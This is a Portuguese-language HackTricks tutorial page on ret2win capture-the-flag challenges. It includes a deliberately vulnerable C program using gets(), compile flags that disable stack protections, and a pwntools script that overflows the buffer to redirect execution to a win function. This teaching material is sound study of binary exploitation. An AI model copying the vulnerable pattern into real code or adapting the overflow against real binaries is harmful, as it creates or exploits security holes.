9.3 KiB
Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informações Básicas
Os desafios Ret2win são uma categoria popular em competições de Capture The Flag (CTF), particularmente em tarefas que envolvem binary exploitation. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada como win
, flag
, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o endereço de retorno na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
Exemplo em C
Considere um programa simples em C com uma vulnerabilidade e uma função win
que pretendemos chamar:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Para compilar este programa sem proteções de pilha e com ASLR desativado, você pode usar o seguinte comando:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Compile o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).-fno-stack-protector
: Desativar proteções contra estouros de pilha.-z execstack
: Permitir a execução de código na pilha.-no-pie
: Desativar Executável Independente de Posição para garantir que o endereço da funçãowin
não mude.-o vulnerable
: Nomear o arquivo de saída comovulnerable
.
Exploit em Python usando Pwntools
Para o exploit, usaremos pwntools, um poderoso framework CTF para escrever exploits. O script do exploit criará um payload para transbordar o buffer e sobrescrever o endereço de retorno com o endereço da função win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Para encontrar o endereço da função win
, você pode usar gdb, objdump ou qualquer outra ferramenta que permita inspecionar arquivos binários. Por exemplo, com objdump
, você poderia usar:
objdump -d vulnerable | grep win
Este comando mostrará a montagem da função win
, incluindo seu endereço inicial.
O script Python envia uma mensagem cuidadosamente elaborada que, quando processada pela vulnerable_function
, transborda o buffer e sobrescreve o endereço de retorno na pilha com o endereço de win
. Quando vulnerable_function
retorna, em vez de retornar para main
ou sair, ele salta para win
, e a mensagem é impressa.
Proteções
- PIE deve ser desativado para que o endereço seja confiável em várias execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é
read
ou similar, você pode fazer uma Sobrescrita Parcial de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibble hexadecimais não são randomizados, então há uma chance de 1/16 (1 nibble) de obter o endereço de retorno correto. - Stack Canaries também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
Outros exemplos & Referências
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 bits, sem ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bits com ASLR, com um leak do endereço binário
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bits, sem ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bits, sem ASLR, transbordamento pequeno duplo, primeiro para transbordar a pilha e aumentar o tamanho do segundo transbordamento
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço
fflush
com a função win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- O programa está apenas validando o último byte de um número para verificar o tamanho da entrada, portanto, é possível adicionar qualquer tamanho desde que o último byte esteja dentro da faixa permitida. Então, a entrada cria um transbordamento de buffer explorado com um ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função win (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, dá um leak PIE a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one para chamar uma função win
Exemplo ARM64
{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.